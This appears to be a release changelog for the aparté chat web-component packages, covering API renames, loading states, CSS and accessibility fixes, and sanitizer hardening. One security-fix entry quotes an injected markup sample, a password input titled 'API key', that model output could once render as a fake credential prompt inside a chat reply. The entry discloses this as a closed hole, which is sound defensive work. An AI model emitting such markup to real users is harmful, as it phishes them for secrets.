The listing at webcomponents.org/element/@aparte/core exists as of 2026-09-05 and the badge links to it from npm and GitHub. Only core is listed, by decision: the plugins stay off the catalogue for now.
@aparte/core -
21dd3bc: The four plugins that ship a custom element now carry the
web-componentsnpm keyword; nothing changes in the code you import.Each already pointed
customElementsat its manifest, which is what the webcomponents.org catalogue reads, but only core carried the keyword the catalogue and npm search filter on. The five plugins that expose no element (compaction, marked, shiki, streaming-markdown, titler) are untouched: they have nothing to list there.@aparte/plugin-approval,@aparte/plugin-artifacts,@aparte/plugin-ask-user,@aparte/plugin-model-selector
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/plugin-titler, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.17.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
7d009cf: A binary attachment now warns instead of vanishing;
AparteFilePartis removed — aparté inlines images and text files only. If you referencedAparteFilePart(or engine’sStreamFilePart) in your own types, drop it:AparteContentPartis text or image.Nothing ever produced a file part. The client inlines images and recognized text files and returned
nullfor everything else, and both wire mappers answered the type with an empty text part — a branch no message could reach. What the type did do was promise a consumer that attaching a PDF sent it, while the chip stayed on screen and the model answered as if nothing had come with the message. That promise is now a warning at the one place the file is really dropped, once per file, naming the file and its type; the chip is untouched, so your own upload or RAG layer still sees it on theaparte-sendevent.The two-arm union also empties the third mapper’s fallback: the vision runner counted “content parts this runner cannot carry” and warned about them, over a branch no message could reach. The count and its warning are gone, the same way they went from the two wire mappers.
@aparte/core,@aparte/engine -
ba9baa1: Add
manageto<aparte-conversation-list>: with a conversation manager registered, the⋯menu now performs delete/archive/pin/rename itself. Nothing changes without the attribute.Registering the manager is the one line you already write for the rest of the persistence (
setConversationManager(manager));manageon the element is the second. The six listeners that forwarded rename, pin, unpin, archive, unarchive and delete to that same manager can go: each of our six example apps deleted its whole forwarding block for one attribute.The events still fire, first, and they are now cancelable:
preventDefault()on one takes that single gesture back and leaves the rest to the list. So a host that owns its persistence leavesmanageoff and keeps exactly the behaviour it has today, and a host that owns only one of the six can setmanageand cancel that one.managewith no manager registered warns on the first gesture, naming the call to make.Selecting a conversation is untouched: it is a load, not a write, and stays the host’s — the
conversationIdbinding, or the window-levelaparte-conversation-selecta bound controller hears.@aparte/core -
edd2f06: A tool turn is now an
assistantmessage carryingtoolCallsand atoolmessage carryingtoolCallId; the'tool_call'and'tool_result'roles are gone.Who has to change something. Only code that BUILDS an
AparteChatMessage[]by hand: ahistoryfunction, arequestInterceptorthat inspects roles, or a host mirroringonHistoryAppendinto a log of its own. Nothing that usesAparteClientnormally, and no provider you did not write yourself.The mapping, as two lines:
{ role: 'tool_call', content: '', precedingText: T, toolCalls: C }{ role: 'assistant', content: T, toolCalls: C }{ role: 'tool_result', content: R, toolCallId: I }{ role: 'tool', content: R, toolCallId: I, toolName: N }precedingTextis removed, not deprecated — no alias, no compatibility shim: before 1.0 a rename is a rename, and the type error is the migration. What it carried is the assistant message’s owncontent; an assistant that said nothing before its calls carries''.toolNameis new and optional, on atoolmessage. Set it and the AI SDK bridge stops guessing'unknown'for a result whose call it cannot find, and@aparte/provider-scenarioroutes on the name without scanning back. Both still fall back to the declaring assistant message when it is absent.Your stored conversations need nothing. Persistence holds
AparteMessage, whose role is alwaysuserorassistant; no tool turn was ever written to IndexedDB. The conversation schema version is unchanged.If you hold the envelope by reference — the rule
onHistoryAppendalready stated fortoolCalls— note thatcontentis now the field that is finalised after you are notified: a provider that streams text after its first call re-reads it at the turn’s end. Hold the reference, not a snapshot, or serialise only once the turn’s lasttoolmessage has arrived. A snapshot used to lose a trailing clause; it now loses the whole sentence.Why the shape changed: every message API in use — OpenAI-compatible, Anthropic, the AI SDK — expresses a tool round-trip as an assistant turn that declares its calls plus one message per result. Two roles of our own meant every provider translated on the way out, every consumer learned a vocabulary that matched no documentation they had read, and the assistant’s own sentence lived in a field (
precedingText) that only this library had a name for. This is the last known structural breaking change to the message type before the beta.@aparte/core,@aparte/engine,@aparte/provider-ai-sdk,@aparte/provider-openai-compat,@aparte/provider-scenario,@aparte/provider-transformers -
d86c28a: A conversation can be on its way:
<aparte-chat-viewport loading>and<aparte-conversation-list loading>draw skeletons, the manager fetches a conversation’s messages on demand through your adapter’sloadFull(), and the controller setsloadingwhile it waits and drops a reply for a conversation the user has already left.Nothing to change unless your adapter implements
loadMeta()andloadFull(): it is now used —init()reads the list throughloadMeta()andsetConversationId(id)fetches the messages throughloadFull(id)the first time.manager.isLoaded(id)andmanager.ensureFull(id)are public. An adapter withloadAll()alone behaves exactly as before.What was wrong:
loadMeta()andloadFull()were in the storage contract from the start and nothing called them, so between a click on a conversation and its messages there was no moment at all — and a page wired to a real store had to invent one, with a skeleton of its own over the components. Worse,aparte-chat[center-empty]decided it was empty by looking at the DOM: a transcript whose messages had not arrived yet has no bubble, so the welcome screen and the centred composer showed while a conversation loaded. Now:<aparte-chat-viewport loading>(reflected;viewport.loading = trueorsetLoading(true)) draws two skeleton turns with the kit’s recipe, marks the scroll surfacearia-busyand names the wait for a screen reader (locale keyloadingConversation).data-busyis still a reply streaming; this is the transcript itself arriving.aparte-chat[center-empty]counts a loading viewport as not empty.<aparte-chat>disables its composer while its viewport is loading, and gives it back as it found it (adisabledyou set stays). A send in that window raced the fetch: the message went into a history the arriving one overwrote.<aparte-conversation-list loading>draws six skeleton rows,aria-busy, with its own status line (locale keyloadingConversations). Set it while your store answers, clear it when you assignconversations.AparteChatBinding.setLoading?(on)is the controller’s way to say it; the default DOM binding sets the viewport’s attribute.- Two quick clicks: the controller re-reads the active id after the fetch and drops the stale reply, so A never paints over B.
@aparte/core,@aparte/locale-fr
-
d67148b: Composer buttons are
<aparte-composer-action>elements, not registry entries:zones: ['composer'],composer.positionandsetActionHiddenare removed. If you registered an action withzones: ['composer'], write the element in your composer markup instead and listen foraparte-action-click;zones: ['bubble']is untouched. Theaparte-actionevent detail’szoneis typedAparteActionZonenow, so a listener that narrows on'composer'no longer compiles.The registry never placed a composer button.
getActionswas only ever called with'bubble', by the message bubble; nothing in core asked it for the composer zone, so an action registered there rendered nowhere,composer.positiondecided nothing andsetActionHiddentoggled a flag no element read.AparteActionZoneis now'bubble', which is what the code always meant.composer.position: 'left' | 'right'was also the one place left that named a side. Placement in the composer is the order you write the elements in, plusmargin-inline-start: auto— a name a right-to-left locale contradicts is a name that will lie.The customization guide now shows the composer button it used to mention in passing: the element, where it goes in the row, and the
action-idthat tells two of them apart.@aparte/core -
23044a5: The conversation list’s seven events are renamed subject-first, with no alias:
aparte-conversation-select,-delete,-archive,-unarchive,-rename,-pin,-unpin(wereaparte-select-conversation,aparte-delete-conversation, …). Wrapper bindings follow:onConversationSelectin React,@conversation-selectin Vue,on:aparte-conversation-selectin Svelte,(conversationSelect)in Angular. Theno-groupsattribute isflat([flat]in Angular).Every other event of the library reads subject then verb —
aparte-select-change,aparte-message-start,aparte-split-resize— and the conversation list’s detail types were already subject-first (AparteConversationSelectDetail), so oneaddEventListenerline carried both orders.no-groupswas the only negative boolean attribute;flatsays what the rows are, and covers the “pinned first” order the same flag also removes. Pre-1.0, a rename is a rename: this lands before the beta freezes the surface, and the old names are gone rather than kept as aliases.@aparte/core,@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
bd91b89:
AparteConversationandAparteConversationMetadropfolderId,lastMessagePreview,messageCountandtotalTokens— nothing in the library read them.Who has to change something. Only a storage adapter that WRITES one of the four onto the object it hands back, and only if it types that object as
AparteConversation/AparteConversationMeta. Records already in your store are untouched: the schema version is unchanged, nothing migrates, and an extra key on a stored row is still an extra key that reads back fine.If your store computes any of them, keep them — on your own row type:
interface MyRow extends AparteConversationMeta {folderId?: string;messageCount?: number;}Why they leave.
folderIdwas “optional folder/tag id for organisation”, a column for a folders feature this library does not have;lastMessagePreviewwas a cached preview the sidebar never asked for (it renders the conversation it already holds);messageCountwas “for the sidebar badge”, and there is no badge;totalTokenswas a per-conversation sum nothing added up. Four fields an adapter author had to decide about, on a contract that never read one of them. The token totals that DO exist stay where they are earned, inAparteUsageon a message.@aparte/core -
937b062:
AparteChatRequestdropsprefill,systemOverrideandfastStream— no provider read them; pass provider-specific options in_meta. If you set one, move it under a key of your own:_meta: { llamacpp: { prefill: 'x' } }, which reaches your provider untouched.All three were documented “providers MAY ignore it”, and every provider did: they were one model family’s raw-completion vocabulary flattened onto every request, so a third-party provider implementing the type inherited three fields it could not honour.
_metais the channel that already works — an open, namespaced bag core neither filters nor rewrites. The trigger to reconsider is a raw-completion provider in this repo that would actually read one; the JSDoc on the interface now says so, and a test drives an option through the client andAparteDirectTransportto prove the path stays open.One correction comes with it:
_meta’s own documentation claimed it was “never sent to the AI provider — stripped before the network call”. Nothing strips it, andAparteBackendTransportserialises it to your endpoint inside the default{ providerId, request }body. Both halves were false, and the field now says what it does — including that it is not a place to hide a secret.@aparte/core -
333b5a3: A conversation with no text yet has an empty
title(it used to be the English stringNew Chat), and editing the first user message re-titles the conversation unless you named it yourself.Two things for a consumer that reads
AparteConversation.title:createNew()with no argument, and a first message with no text, now leavetitleempty.<aparte-conversation-list>already showed its locale’snewChatword for an empty title, so a French UI no longer displays “New Chat” from the store. Rendertitle || yourLocale.newChatwhere you show a title of your own.- A new optional field,
autoTitle, istruewhile the title is the manager’s decision (the first message as typed, or the title provider’s answer). Editing the first user message then re-titles through the same path.updateTitle()sets it tofalse, and a title you typed is kept whatever happens to the messages. Records written before this field existed have no flag and read as typed: an old title is never overwritten.@aparte/core
-
33bf7bd: Import
showcasefrom@aparte/provider-scenario/showcase; the root export is deprecated and removed in this release. One line changes:import { createScenarioProvider, showcase } from '@aparte/provider-scenario'becomes an import ofcreateScenarioProviderfrom the root and one ofshowcasefrom@aparte/provider-scenario/showcase. Nothing else moves — the scenario format,createScenarioProvider,defaultMatchandplayTurnare untouched.showcaseis a demo corpus, not a capability: twelve scripted turns with their markdown, their code block, their reasoning and their artifact, about 4 kB of the package. It sat on the root barrel, so a consumer who wrote their own scenarios shipped it anyway — runtime laziness is not distribution weight, and the lever for weight is a separate entry point, not a flag.The provider and the corpus now build as two entries, and the scenario page, the README and the docs’ live frames all import it from the subpath.
@aparte/provider-scenario -
595ec0b: The four wrappers show a conversation on its way: a
loadingprop (an input in Angular) draws two skeleton turns in the transcript, keeps the empty state off and disables the composer until the messages land — and the conversation controller sets it by itself while it fetches through your adapter’sloadFull(). Nothing to change unless you want a wait of your own: passloading.Core’s host binding gained
onLoadingChange?(on): the controller’s wait, forwarded beside the viewport’sloadingattribute, so a wrapper that renders its own DOM can draw it. Underframework-managedthe viewport itself draws no skeleton any more (a<div>prepended into a host React reconciles is one React did not render); it still sets the attribute andaria-busy. And the viewport’s status line for a screen reader is now a sibling of the skeleton, not a child of it — inside anaria-hiddenbox it was hidden too.Svelte sets the viewport’s
loadingattribute imperatively too: under Svelte 5 a template attribute on an element that has a property of that name is set as the property, and''through the setter read as false — the attribute never appeared, which the Svelte 5 example caught (Svelte 4 set the attribute).@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue
Patch Changes
-
56cc153: The application header’s sidebar toggle shows at every width while the sidebar is collapsed, so a sidebar closed on a desktop can be opened again. Nothing to change on your side if your header carries
.aparte-app-header__togglewithdata-aparte-sidebar-toggle, the shape the recipe documents.On the chat site at 1440px, collapsing the sidebar with its own toggle took it to 0px,
inertandaria-hidden, its toggle with it, while the header’s toggle wasdisplay: noneoutside the phone media query: nothing on the page reopened it. The sidebar keepsaria-expandedon every[data-aparte-sidebar-toggle], so the recipe shows the header’s control exactly when the sidebar is closed (.aparte-app-header__toggle[aria-expanded="false"]), on top of the drawer case it already had.@aparte/core -
f474a95: A new conversation is titled from the message that opened it even when two sends land together, a rename keeps the conversation’s place in the list, a confirmed delete hands the keyboard to the row that took its place, and the composer comes back when a fetch is superseded by an id the store does not know. Nothing to change in your code, unless you relied on a rename floating a conversation to the top.
Two coalesced sends make one first message.
addMessage()suspends twice before it writes — for the messages, when they are not in memory, then for the title provider — so a suggestion and a quick type, released into it within a microtask of each other, both read a conversation with no user message in it yet: both counted as the first, and the second one’s text became the title, in memory and in the store, permanently (the persist that follows the reply re-titles only an edited first message). Appends are now serialised per conversation: the next one reads what the previous one wrote. Message order was already right; only the title was wrong.A rename leaves
updatedAtalone. Like pin, unpin, archive and unarchive, a rename is metadata, and the list sorts on the last message rather than the last edit. It also could not be otherwise: an adapter’srename()hook carries the title alone by contract, so the bump lived in memory only — the row re-grouped under “Today” and jumped back to its old date on the next reload. Memory and storage now agree in both branches, hook orsave().A superseded fetch always ends its wait.
setConversationIdclears the wait it superseded on every exit now, including the two that returned without it: an id the manager does not know (a deep link to a conversation another tab deleted) and the hydration retry. The in-flight fetch returns silently once the active id has moved, so nothing else was going to clear it — the viewport kept its skeleton andaria-busy, and the composer stayed disabled until a reload.A second
init()keeps the conversation on screen persisting. It re-reads the list from the store, which for a split adapter is metadata alone; what the firstinit()had fetched was forgotten with the rows it lived on, so writes to the open conversation were refused — silently, since the refusal is the controller’s own. A conversation whose messages are already in memory now keeps them and stays loaded; a row the store no longer lists is dropped with its messages.init()’s docblock says so.The store gets the messages you sent.
updateMessages()saved thesegmentsa viewport derived from a message’s markdown on display — they were already excluded from the change comparison, but not from the record, on either half of it: the flat messages and the branch tree. Stored, they filled the store with core-generated ids and froze the parse as it stood the day it was saved, so a block grammar registered later never applied to that message. The tree is the half that mattered most, since that is the half a viewport reads back.A confirmed delete keeps the keyboard in the list. Delete is confirmed from the row’s own menu, so the row holding the focus is the row that leaves: the focus landed on
<body>and the next Tab restarted at the top of the page, right after the one action here that cannot be undone. It goes to the row that took its place (the next one, else the one above), and to the list itself when the last conversation goes.@aparte/core -
c60a806: With
@aparte/plugin-streaming-markdowninstalled as your only Markdown renderer, a reply now stays rendered when the turn ends instead of collapsing to raw Markdown source. Nothing to change on your side; a one-shot provider is now genuinely optional.The settling update flushes the incremental parser and then re-renders the message once through the one-shot provider, for full fidelity. That trade only pays when a one-shot provider exists: with the streaming plugin alone, the one-shot side is core’s zero-dependency default — escape plus
<br>— so the re-render replaced<strong>,<pre>and<ul>with the Markdown that produced them, at the exact moment the reader stopped waiting. The message read richly for the whole stream and turned back into source on the last token.writeStreamedMarkdownnow asks the seam which renderer it is about to use. WhenrenderMarkdownis core’s built-in default, the flushed DOM is kept and passed throughsanitizeHtmlin place; when a provider is registered — including one that hands prose back untouched, since that is still the caller’s renderer and not ours — the settle re-renders through it exactly as before. Either way a settled message is what the sanitizer produced, which is what allows an incremental provider to write DOM directly in the first place. The flush also feeds the parser any content the last streaming update did not carry, so what is kept is the whole message.@aparte/core -
913969b: A keyboard-focused conversation row now draws a focus ring; a chat in a shadow root follows the dark theme; the English locale no longer writes
dir="ltr"on the chat, so a page that setsdir="rtl"is honoured. Removed: ten CSS classes and seven CSS variables nothing read (.aparte-input-wrapper,.aparte-input-container,.aparte-editor,.aparte-has-content,.aparte-input-upper,.aparte-input-footer,.aparte-provider-select,.aparte-model-select,.aparte-actions-left,.aparte-actions-right, and--aparte-input-gap,--aparte-input-container-min-height,--aparte-input-editor-max-height,--aparte-input-editor-font-size,--aparte-input-text,--aparte-model-select-chevron-room,--aparte-model-select-min-width). If your markup or theme uses one of those names, it was already doing nothing to the live composer — the live editor is.aparte-ci-editorand reads--aparte-input-font-size/--aparte-composer-control-size.The row’s ring. It was removed on 2026-09-05 for good reasons — it drew the title BUTTON’s box, so the ⋯ sat outside it with the ring’s end hidden underneath, and a rectangle inside a rounded row read as a mistake — and the whole indication was left to the hover lift. Measured with core’s own tokens: the lift is
--aparte-surface-3, a 6% tint, so a focused row read 1.12:1 against its neighbour in light and 1.18:1 in dark, where SC 1.4.11 asks 3:1 of the state that says which row Enter opens. It is the primary navigation of every chat product this library is meant to build, thirteen tab stops into the page. The ring is back keeping every one of those reasons: drawn on the ROW so the ⋯ is inside it and it follows the row’s 9px radius, INSET by its own width so the list’s horizontal clip cannot cut it, and the kit’s own ring — same token, same colour, same 1px. Measured after: 4.22:1 against the focused row’s fill, 4.72:1 against the sidebar in light, 5.79:1 in dark. The button keepsoutline: none: dropping it gives two rings, the inner one Chromium’s blackauto 1pxon a box 34px narrower than the row.A dark host. The light palette is declared on
:root, :host, so a stylesheet adopted into a shadow root put the light hexes ON THE HOST, where a local declaration beats the dark value the host would otherwise inherit — and neither dark block could reach it, because:rootdoes not match inside a shadow tree and a bare[data-aparte-theme="dark"]does not match the host element. Measured before: a chat in a shadow root under a dark page read--aparte-bg: #f6f2ea, a light card on a dark page, silently — which is exactly the arrangementguides/theming.mdpromises works. Each of the three palette blocks now names its:host(...)twin. One honest limit, worth stating: the media query is fully fixed, but the ATTRIBUTE path only seesdata-aparte-themeset on the host element itself. An attribute on an ancestor outside the shadow root stays invisible from inside — only:host-context()could see it, and its support is partial.The reading direction.
APARTE_DEFAULT_LOCALEdeclareddirection: 'ltr'as a literal, and both writers stamped it, so core OVERWROTE the host’s direction: with<html dir="rtl">the app shell mirrored and the chat inside it did not — bubbles, branch picker, composer order and every line of text stayed left-to-right. The field is now undefined by default, the waytagnext to it already was, andundefinedmeans “follow the host”. A locale that wants the direction pinned still declares it, which is the case the field exists for;setLocalereplaces the object wholesale, so no default merges back in. Six physical declarations that only mattered once RTL was reachable went logical with it: the prose list indent, the blockquote rail and gutter, the reasoning rail, the pending attachment’s ✕ and the status dot’s gap.The dead block. 201 lines of
components/composer.cssunder its own “Legacy composer input utility classes” banner styled markup no source in the repo emits — verified against the running page, where all nine classes count zero. Dead CSS here is not inert:reference/classes.mdxis generated from these sheets, so the whole set shipped as public API; the block was where the abandoned Tailwind ramp survived, two data-URI chevrons on#6b7280/#94a3b8against a palette that had moved to#a89bb6; and it held the last threeslot[name="footer-left|center|right"]rules, the positional names decision #4 retired. The seven variables had that block as their ONE reader —check:derived-varsasks whether a stylesheet reads a token, which an ORPHANED reader still satisfies — so they were published as knobs that moved nothing..aparte-send-buttonand theaparte-model-selector/.aparte-model-selectorpair sat inside the range and stay.Two smaller ones. The scroll rail’s focus ring moved onto the
::beforethat already draws the tick’s 24×24 pressable zone:outlinepaints on the element’s border box, and the tick’s box is the 14×2 line it draws, so the indicator came out 16×4 floating in the middle of the target a keyboard user follows down the whole transcript. And the composer toolbar’s empty-row rule was split in two, so an engine without:has()still hides an empty row: an unsupported selector anywhere in a comma list voids the whole rule, and the first-paint reservation was taking the two plain selectors down with it.Measured and deliberately not changed. A
position: fixedpopover inside a bubble is clipped at the bubble’s edges.contain: layout style paintonaparte-chat-bubblelooked like the cause and is not:content-visibility: autoturns on layout, style and paint containment on its own, solayout style paint,stylealone andnoneall paint the same 2 of 4 sampled rows of an<aparte-select>opened inside a bubble, and only removingcontent-visibilityreaches 4 of 4 — which is the streaming-performance win, not a style cleanup. It would not be enough either:aparte-chat-viewportis a container-query root withcontain: layout style, so a fixed popover anywhere in the transcript resolves against the viewport rather than the window. Core puts no popover in a bubble; a tool renderer that needs one should mount it beside the viewport. The numbers are inbubble.cssso the next reader does not re-derive them.@aparte/core -
acc33dc: Nothing changes in your code.
AparteLocalenow documents the eleven keys a plugin renders and core does not — the artifact card’s, the compaction summary’s, the approval mode picker’s and the model selector’s — as a closed exception, the localization guide shows a plugin of your own the route that needs no room in that list, andcheck:locale-keysholds the eleven inside this repo.AparteLocaleis the closed list of the strings core itself draws, andt()is typed against it — which leaves a plugin author exactly one place to put a translatable key. Eleven arrived that way: the artifact card’s labels and its two sandbox lines (@aparte/plugin-artifacts), the summary title (@aparte/plugin-compaction), the mode picker’s label (@aparte/plugin-approval) and the empty picker’s placeholder (@aparte/plugin-model-selector). They stay, and they are right where they are: a locale package translates one flat object rather than one per plugin, and a key that ships in every bundle costs a release notice to withdraw. What was missing is that nothing told them apart from core’s own words, so a twelfth would have followed by reflex.The guard reads core and the plugins as two corpora now, and holds the eleven in
PLUGIN_OWNED. A declared key that only a plugin renders and is absent from that list fails, naming the plugin and the three ways out; a listed key that core has started rendering fails the other way, asking for the line back — a list that outlives its reason is how a guard goes quietly decorative. Both directions run inscripts/__tests__/check-locale-keys.test.tsover a doctored locale and a doctored corpus (--locale,--sources), instead of being described.It shipped first as nine, because the matcher knew
cfg.t('x')andgetLocale().xand notgetLocale()['x']— the shape@aparte/plugin-approvaland@aparte/plugin-model-selectorboth use, so their two keys read as nobody’s and the guard called the tree clean. The bracket shape counts now, and the suite carries a fixture written that way in both directions. The counts are unchanged: 91 keys, 82t('…')reads.For a plugin of your own nothing moves: read your string off
getLocale()and default it at the call site. Your key is yours, and it needs no room in core’s list.@aparte/core -
9e44756: A conversation row’s
⋯menu can be used with a mouse in Safari and every other WebKit browser: a press inside the menu no longer closes it before the click reaches the item. Nothing to change on your side.WebKit does not move the focus to a button on mousedown. It blurs the element that held it instead — a
focusoutwith norelatedTarget— before the click is delivered. The menu read that as the focus leaving and closed on the press itself, so with a mouse the confirmation never appeared and no item could be chosen; the keyboard path was unaffected. The menu now holds a press inside it frompointerdownto its release and ignores that one blur.@aparte/core -
4a73996: Three sanitising gaps close, none of which asks you to touch your code: a message that finishes streaming is re-rendered through the sanitizer, an
<input>in model markup keeps onlytype="checkbox", and an attachment thumbnail’s URL is checked before it becomes an<img src>.The settle pass now runs.
writeStreamedMarkdowndocuments two states — while streaming, an incremental provider writes DOM directly and bypassessanitizeHtml; on the settling update it flushes that provider and re-renders once through the one-shot provider, whose output is sanitised. The second half is what makes the first acceptable, and on the simple-content path (appendMessage/appendToken/completeMessage, the first thing the getting-started guide teaches) it never happened:_updateStreaming(false)toggleddata-streaming,aria-busyand a class, and never re-rendered the content. The live end-of-turn call carries no content of its own (completeMessagesends{ status: 'completed' }alone), so whatever the streaming provider wrote stayed on the page for good. The segment path was never affected.<input>is what its allowlist entry always said it was. The tag is allowed for one thing, a GFM task-list checkbox, andtypewas copied through unexamined — so<input type="password" title="API key">rendered a credential prompt inside a reply. Nothing could read what was typed (form,buttonandnameare refused,on*is never copied, and the inline-style allowlist has noposition, so the control could not be lifted out of the bubble either), but the ask is the attack. Everytypeother thancheckboxis now dropped.An attachment tile applies the same URL policy as everything else core writes.
AparteAttachment.urlis documented as “URL or data URI” and a storage adapter re-mints it when a conversation is restored, so it is the app’s value; it was escaped and written, where every other URL core emits is first asked whether its scheme is allowed at all. It now goes throughisSafeUrl, and an image whose URL is refused falls back to the file chip — which still names the file — rather than rendering a broken picture.blob:is kept, because that is the shape core itself mints for a file the user just picked.@aparte/core -
c73636b:
client.stop()now takes that client’skeyResolverback off its config, and when a config holds several key sources the most recently registered one answers first. Remounting a chat with new options changes the key again. Two things may need a look on your side: code that relied on a stopped client still signing requests, and any annotation you copied from the config reference —config.getKey(providerId)resolves tostring | Record<string, string> | undefined, notstring | undefined, so widen yours if you typed it. The runtime type is unchanged; the page was wrong.new AparteClient({ keyResolver })registers the resolver on its config so the model list signs its request with the same credentials as the chat. That registration outlived the client that made it: nothing released it, andgetKeyanswered in registration order, so the first resolver a page ever registered kept answering for every later one. Three consequences. A stopped client kept signing model-list requests. The remount the wrappers document as the way to swap options (“remount the component that owns the hook”) added a source behind the one it meant to replace, so the new key never reachedrefreshProviderModels. And each mount left a retained closure on the config for the life of the page.The client now holds the teardown
registerKeyProviderreturns and calls it instop()— before the early return, since the source is added in the constructor and a client that never started still holds one — andstart()registers again, so a stop/start pair is symmetric.getKeywalks the registered sources newest first, over a snapshot, so a source torn down while an earlier one is being awaited cannot shift the iteration underneath it. EachregisterKeyProvidercall is its own source too — the registry used to be keyed by the function itself, so two panes handed the same module-level resolver were one entry and the first to unmount took the second one’s key with it.AparteConfig.registerKeyProvideris on the config reference page now, with an example and the resolution order, andgetKey’s signature there says what it has actually returned since it learned to carry{ apiKey, endpoint }.@aparte/core -
dbd64b2:
<aparte-composer placeholder="…">,<aparte-composer disabled>and<aparte-context window={8000}>no longer throw under React 19 and Svelte, and<aparte-suggestions suggestions='[…]'>renders its chips.AparteUiHandleis now exported from@aparte/core— the contract each wrapper’s<AparteUi>handle re-exports.React 19 and Svelte assign the PROPERTY whenever the element has one of that name, and only fall back to the attribute when it does not.
placeholder,disabledandwindowwere getter-only, so the assignment threwCannot set property … which has only a getterand took the render down — on a spelling both wrappers’ typed template surfaces declare valid. They have setters now,disabledthroughpresenceOnso the documented''means ON (#62).<aparte-suggestions>’s setter took an array only, while the attribute it mirrors carries the JSON string form and its own docblock calls the two channels equivalent. A React or Svelte template handing it that string failedArray.isArray, the list became[], the attribute was never written andattributeChangedCallbacknever ran: no chips, no warning. The setter takesAparteSuggestion[] | stringand routes a string through the same parse the attribute uses.AparteUiHandlemoves here for the reasonAparteChatImperativeApidid: it was four hand-written copies, each docblock promising “the same contract on all four wrappers”, and it had already drifted once.@aparte/core -
43297ea:
<aparte-optgroup collapsible>no longer throws under React 19 and Svelte 5: the property has a setter, and assigning it toggles the attribute.React 19 and Svelte 5 write the PROPERTY whenever the element has one of that name, and fall back to the attribute only when it does not.
collapsiblewas a getter with no setter besidecollapsed, which has one — so the assignment threwCannot set property collapsible of #<AparteOptgroup> which has only a getterand took the whole render down, on a spelling the typed JSX/Svelte surfaces declare valid and the element’s own@exampleshows. The in-repo emitter was safe by accident:@aparte/plugin-model-selectorbuilds its groups as an HTML string.The same shape is now asserted for the select family as a whole rather than for the one case: an attribute those elements declare is either absent as a property or writable as one — never getter-only.
@aparte/core -
af3edf5:
aparte-btnon an<a>no longer shows the browser’s underline; nothing to change unless you relied on it.The recipe is documented as classes for your own elements, and a settings page reached by a link is the first thing a site puts it on. The UA stylesheet underlines an anchor and no rule of the recipe said otherwise, so the link rendered as underlined text beside an icon button. The reset now lives in the recipe.
@aparte/core -
5805be2: The focus ring, the selected-row mark and the composer’s focus border are neutral now, not brass; a theme that wants the accent back sets
--aparte-border-focus,--aparte-mark-barand--aparte-select-border-hover.What changed on screen, measured on the chat-site example:
--aparte-border-focusisvar(--aparte-neutral): every focused control drew a 2px accent ring, which turned a page of controls into a frame gallery. The ring is still 2px, outside the box, on:focus-visibleonly.--aparte-mark-baris0px: the accent bar on the start edge of a chosen row (the active conversation, the selected option, a checked choice) is gone; the tint and the text weight carry the mark.- A checked
.aparte-field-choicelifts a step (--aparte-surface-2) instead of taking an accent border and tint: the radio or the box shows the choice. - The composer shell’s
:focus-withinborder is--aparte-text-muted, a contrast step on the hairline rather than the accent. - The select trigger’s hover border is
--aparte-text-muted; a keyboard-active option wears the focus ring’s colour rather than the accent. - Conversation rows read in
--aparte-text, the group headings stay muted: the two no longer looked alike.@aparte/core
-
71a535d: An assistant message handed over as a markdown string (
appendMessage,setMessages,importTree) now renders like the same words streamed: a fence becomes the code card with its filename, language and copy button, a<think>block becomes a reasoning block. You no longer callparseMarkdownToSegmentsyourself before appending.The stream went through the parser and a string went through the prose renderer, so the same reply looked different once it came back from a store or a non-streaming call: a bare
<pre>where the live turn had the card.appendMessagenow runs the same parser, with the same registered stream blocks, on an assistant’scontentwhen it carries nosegmentsand there is something to split. A user’s message is not parsed, plain prose keeps the content path, and a message that already has segments is untouched.@aparte/core -
5581be9:
fallbackis declared on every segment, not only ontype: 'custom'— the renderer already read it that way.Nothing to change. The field moves up from
AparteCustomSegmenttoAparteSegmentBase, so the six built-in segment types declare it, and so does any type of your own written asAparteSegmentBase & { type: '…' }. Anything that already set it on a custom segment still compiles.What it buys you: a segment whose renderer is not registered draws its
fallbacksentence instead of[Unknown segment type: …], and that has always been true for EVERY type, because the bubble reads the field structurally. Only the declaration was narrow — a built-in segment could not type the sentence it was about to be rendered from:import type { AparteSegmentBase, AparteTextSegment } from "@aparte/core";// A built-in type, carrying what a client with no markdown renderer will draw.const text: AparteTextSegment = {id: "s1",type: "text",content: "**A transport** is the object that talks to the model.",fallback: "A transport is the object that talks to the model.",};// Your own type is the same base plus a `type` of yours — no cast, and `fallback`// is declared for you.type CitationSegment = AparteSegmentBase & { type: "citation"; url: string };const citation: CitationSegment = {id: "s2",type: "citation",url: "https://example.org/weather",fallback: "Weather report, 6 September.",};One clause of the field’s documentation was wrong and is corrected. In the HISTORY sent back to the model,
fallbackstands in for the segment only where core does not serialise the type itself —custom, and any type core does not know (a registered block grammar’s, a plugin’s). Atextor acodesegment contributes itscontentand nothing else, andthinking/tool_call/errorare kept out of the history on purpose. The docblock used to promise the substitution for every type; the behaviour is unchanged, the sentence is.Supplying a fallback also silences the “no renderer for segment” developer warning: an author who wrote one has already said this can happen.
@aparte/core -
7e7200c:
dist/index.cssis minified (138 kB instead of 368, 20 kB gzip instead of 98), and a page that ships the chat as static HTML no longer jumps when the elements upgrade.Measured with Lighthouse on the vanilla example built for production: the cumulative layout shift went from 0.226 to 0.011 and the performance score from 88 to 100. Four rules apply before an element is defined, so the first paint already has the final shape:
aparte-chat[center-empty]with no bubble in its markup centres its composer from the first frame; the viewport releases its height the way it does oncedata-emptyis written.aparte-composer-inputreserves the editor’s height (--aparte-composer-control-size).aparte-suggestionsreserves one row of chips while the chat is empty.aparte-composer-toolbarholding only whitespace draws nothing, as it will once it reflectsdata-empty.
The minified stylesheet is what a page that links
dist/index.cssdirectly (a CDN, no bundler) downloads; a bundler minified it already and sees no change.@aparte/core -
141e0a3: A fenced code block rendered from markdown no longer paints an inline-code background on every line; nothing to change on your side.
The prose rule for inline
codematched the<code>inside a<pre>too, and withwhite-space: pre-wrapits background and padding paint per line box: every line of a markdown block wore its own stripe, with a notch at its start. The rule is scoped to:not(pre) > codenow, so inline code keeps its chip and a block keeps one surface.@aparte/core -
db15e77:
